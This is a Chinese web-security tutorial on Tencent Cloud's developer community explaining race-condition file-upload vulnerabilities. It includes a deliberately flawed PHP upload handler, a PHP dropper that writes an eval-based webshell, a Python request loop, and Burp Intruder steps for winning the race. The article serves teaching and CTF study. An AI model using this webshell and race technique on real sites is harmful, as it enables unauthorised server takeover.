首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >《Web安全系列》- 文件上传 - 条件竞争上传

《Web安全系列》- 文件上传 - 条件竞争上传

作者头像
Y5neKO
发布2022-01-13 13:09:55
1.6K0
发布2022-01-13 13:09:55
举报
文章被收录于专栏:Y5neKO博客Y5neKO博客Y5neKO博客

0x00 前言

从本篇开始,正式开启《Web安全系列》原理分析及复现文章

0x01 概念

首先,什么是条件竞争上传,条件竞争上传是一种服务器端的漏洞,由于后端程序操作逻辑不合理导致。 由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生,此漏洞一般发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

0x02 原理分析

首先我们来假设一个场景,有一个文件上传页面

代码如下:

<html>
<body>
<form action="" method="post"
      enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file"/>
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
<?php
if (!empty($_FILES)) {
    move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']);
    unlink($_FILES['file']['name']);
    echo "upload fail";
}
?>

首先检测上传文件是否存在,如果上传文件存在就先保存在服务器中再用unlink删除,然后输出upload fail。此处是为了模拟网站文件上传页面后端程序设计逻辑错误引发的条件竞争上传漏洞。

一般这情况下程序员可能会是这样的设计思路:首先将上传文件从缓存中保存到服务器,再检测文件是否安全或者是否符合要求(限制文件格式),如果不满足再将文件删除,整个过程很快,但这种设计思路就很容易利用;

假设我们构造一段恶意php代码文件上传,并且没有经过过滤,然后在该恶意php文件上传之前访问它,因为php之类的代码只要访问它就能执行,那么我们只要访问这个文件就能执行,例如phpinfo()或者写入文件等等操作。

那么下面我们来看一下如何利用。

0x03 漏洞利用

首先我们试着上传任意文件,都提示上传失败

刚刚我们提到整个上传过程会先将上传文件保存再删除,我们来构造一个恶意php文件,代码如下:

<?PHP 
fputs(fopen('y5neko.php','w'),'<?php @eval($_POST[ysneko])?>');
?>

只要我们访问了这个文件,就会在同目录下生成一个ysneko.php文件,内容为php一句话<?php @eval($_POST[ysneko])?> 因为从上传到删除整个过程很短,因此我们需要用到一个python脚本,用来不断访问这个地址,python脚本如下:

import requests
while 1:
    requests.get("上传文件地址")
    print(test)

通过requests模块和一个无限循环来不断访问目标地址; 开启脚本后,在此期间使用burpsuite的instruder模块爆破上传页面,burpsuite的配置如下: 首先拦截上传数据

然后把上传数据发送给instruder模块,记得先将字段标记清除,不然会出问题

payload选择Null paload,下面设置爆破次数

先运行脚本

点击start attack开始攻击

成功生成ysneko.php,可通过菜刀连接

0x04 结语

经过上述分析,我们可以得出结论,先将猛兽放进门再杀之这种设计思路是非常危险的,不过这种方法经常在ctf代码审计中碰到,ctf玩家们可以多多注意一下。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020年12月17日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 概念
  • 0x02 原理分析
  • 0x03 漏洞利用
  • 0x04 结语
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档